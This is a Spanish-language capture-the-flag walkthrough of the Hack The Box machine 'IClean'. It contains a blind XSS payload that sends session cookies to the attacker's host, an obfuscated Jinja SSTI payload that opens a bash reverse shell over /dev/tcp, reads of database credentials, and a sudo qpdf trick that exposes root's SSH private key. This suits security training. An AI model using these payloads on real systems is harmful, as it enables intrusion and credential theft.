IClean
OS: Linux
Dificultad: Medio
Puntos: 30
Nmap
nmap -v -p 22,80 -sV -sC -oN nmap.txt 10.10.11.12
Nmap scan report for 10.10.11.12
Host is up (0.10s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2c:f9:07:77:e3:f1:3a:36:db:f2:3b:94:e3:b7:cf:b2 (ECDSA)
|_ 256 4a:91:9f:f2:74:c0:41:81:52:4d:f1:ff:2d:01:78:6b (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeration
Al acceder a la IP nos redirecciona al dominio capiclean.htb el cual agregaremos a nuestro archivo hosts.
echo '10.10.11.12 capiclean.htb' > /etc/hosts
La aplicacion web cuenta con un panel de login y un panel para enviar peteciones.
Tambien realizando fuzzing de directorios encontramos una interesante llamado dashboard.
┌──(root㉿kali)-[~/htb/IClean]
└─# ffuf -c -w /usr/share/wordlists/dirb/common.txt -u http://capiclean.htb/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://capiclean.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 16697, Words: 4654, Lines: 349, Duration: 110ms]
about [Status: 200, Size: 5267, Words: 1036, Lines: 130, Duration: 115ms]
dashboard [Status: 302, Size: 189, Words: 18, Lines: 6, Duration: 101ms]
login [Status: 200, Size: 2106, Words: 297, Lines: 88, Duration: 126ms]
logout [Status: 302, Size: 189, Words: 18, Lines: 6, Duration: 120ms]
quote [Status: 200, Size: 2237, Words: 98, Lines: 90, Duration: 142ms]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 114ms]
services [Status: 200, Size: 8592, Words: 2325, Lines: 193, Duration: 105ms]
team [Status: 200, Size: 8109, Words: 2068, Lines: 183, Duration: 220ms]
:: Progress: [4614/4614] :: Job [1/1] :: 115 req/sec :: Duration: [0:00:15] :: Errors: 0 ::
En el panel del login no encontramos ninguna vulnerabilidad pero despues de analizar el otro fomulario descubrimos que es vulnerable a blind XSS.
Steal Cookie Blind XSS
Con el siguiente payload podemos obtener la cookie de algun usuario.
POST /sendMessage HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Origin: http://capiclean.htb
Connection: close
Referer: http://capiclean.htb/quote
Upgrade-Insecure-Requests: 1
service=<img+src%3dx+onerror%3dthis.src%3d"http%3a//10.10.14.105/c%3f%3d"%2bdocument.cookie>&email=test@test.com
Una vez que enviemos la petecion tardara unos minutos en regresarnos la respuesta con la cookie de sesion.
┌──(root㉿kali)-[~/htb/IClean]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.12 - - [12/Apr/2024 03:08:51] code 404, message File not found
10.10.11.12 - - [12/Apr/2024 03:08:51] "GET /c?=session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZhkNew.gof4GFmDGO3NKqpUsjoo1aAWzE4 HTTP/1.1" 404 -
10.10.11.12 - - [12/Apr/2024 03:08:52] code 404, message File not found
Tambien nos percatamos que las request vienen desde la siguiente url.
POST /sendMessage HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
Origin: http://capiclean.htb
Connection: close
Referer: http://capiclean.htb/quote
Upgrade-Insecure-Requests: 1
service=<img+src%3dx+onerror%3dthis.src%3d"http%3a//10.10.14.105/c%3f%3d"%2bdocument.location>&email=test@test.com
10.10.11.12 - - [12/Apr/2024 04:03:55] "GET /c?=http://127.0.0.1:3000/QuoteRequests/1 HTTP/1.1" 404 -
10.10.11.12 - - [12/Apr/2024 04:03:56] code 404, message File not found
Agregamos la cookie y ahora podemos acceder a dashboard.
SSTI
Despues de varias pruebas en las diferentes opciones encontramos que es vulnerable el parametro qr_link que aparece una vez que generamos el QR de la invoice. Este parametro es vulnerable a SSTI.
Nos percatamos que hay varios caracteres que no acepta entonces para obtener una reverse shell utilizamos el siguiente payload.
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.105/1234+0>%261"')|attr('read')()}}
Mandamos nuestra request.
POST /QRGenerator HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 328
Origin: http://capiclean.htb
Connection: close
Referer: http://capiclean.htb/QRGenerator
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZhkNew.gof4GFmDGO3NKqpUsjoo1aAWzE4
Upgrade-Insecure-Requests: 1
invoice_id=&form_type=scannable_invoice&qr_link={{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.105/1234+0>%261"')|attr('read')()}}
Obtenemos nuestra reverse shell.
┌──(root㉿kali)-[~/htb/IClean]
└─# nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.105] from (UNKNOWN) [10.10.11.12] 50972
bash: cannot set terminal process group (1210): Inappropriate ioctl for device
bash: no job control in this shell
www-data@iclean:/opt/app$ whoami
whoami
www-data
Lateral movement
En el archivo app.py encontramos credenciales para la base de datos.
www-data@iclean:/opt/app$ cat app.py
# Database Configuration
db_config = {
'host': '127.0.0.1',
'user': 'iclean',
'password': 'pxCsmnGLckUb',
'database': 'capiclean'
}
Utilizando las credenciales para acceder a la base de datos encontramos un par de usuario.
www-data@iclean:/opt/app$ mysql -u iclean -ppxCsmnGLckUb -D capiclean -e 'select username,password from users'
mysql -u iclean -ppxCsmnGLckUb -D capiclean -e 'select username,password from users'
mysql: [Warning] Using a password on the command line interface can be insecure.
username password
admin 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51
consuela 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa
Obtenemos el password del usuario consuela con uso de crackstation.
Ahora nos podemos conectar por SSH.
consuela:simple and clean
┌──(root㉿kali)-[~/htb/IClean]
└─# ssh consuela@10.10.11.12
consuela@10.10.11.12's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
consuela@iclean:~$ id
uid=1000(consuela) gid=1000(consuela) groups=1000(consuela)
consuela@iclean:~$ ls
user.txt
Privilege Escalation
El usuario tiene privilegios de sudo en un programa.
consuela@iclean:~$ sudo -l
[sudo] password for consuela:
Matching Defaults entries for consuela on iclean:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User consuela may run the following commands on iclean:
(ALL) /usr/bin/qpdf
QPDF Attachment Files
Despues de investigar como tomar ventaja de este programa, en la documentacion https://qpdf.readthedocs.io/en/stable/cli.html#embedded-files-attachments menciona que podemos embeber un archivo por lo tanto con el siguiente comando podemos obtener la rsa key del usuario root.
consuela@iclean:~$ sudo /usr/bin/qpdf --empty /tmp/test.txt --qdf --add-attachment /root/.ssh/id_rsa --
consuela@iclean:~$ cat /tmp/test.txt
%PDF-1.3
>>
/Type /EmbeddedFile
/Length 6 0 R
>>
stream
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQMb6Wn/o1SBLJUpiVfUaxWHAE64hBN
vX1ZjgJ9wc9nfjEqFS+jAtTyEljTqB+DjJLtRfP4N40SdoZ9yvekRQDRAAAAqGOKt0ljir
dJAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAxvpaf+jVIEslSm
JV9RrFYcATriEE29fVmOAn3Bz2d+MSoVL6MC1PISWNOoH4OMku1F8/g3jRJ2hn3K96RFAN
EAAAAgK2QvEb+leR18iSesuyvCZCW1mI+YDL7sqwb+XMiIE/4AAAALcm9vdEBpY2xlYW4B
AgMEBQ==
-----END OPENSSH PRIVATE KEY-----
endstream
endobj
Ahora podemos acceder por SSH.
nano rsa_root
chmod 400 rsa_root
ssh -i rsa_root root@10.10.11.12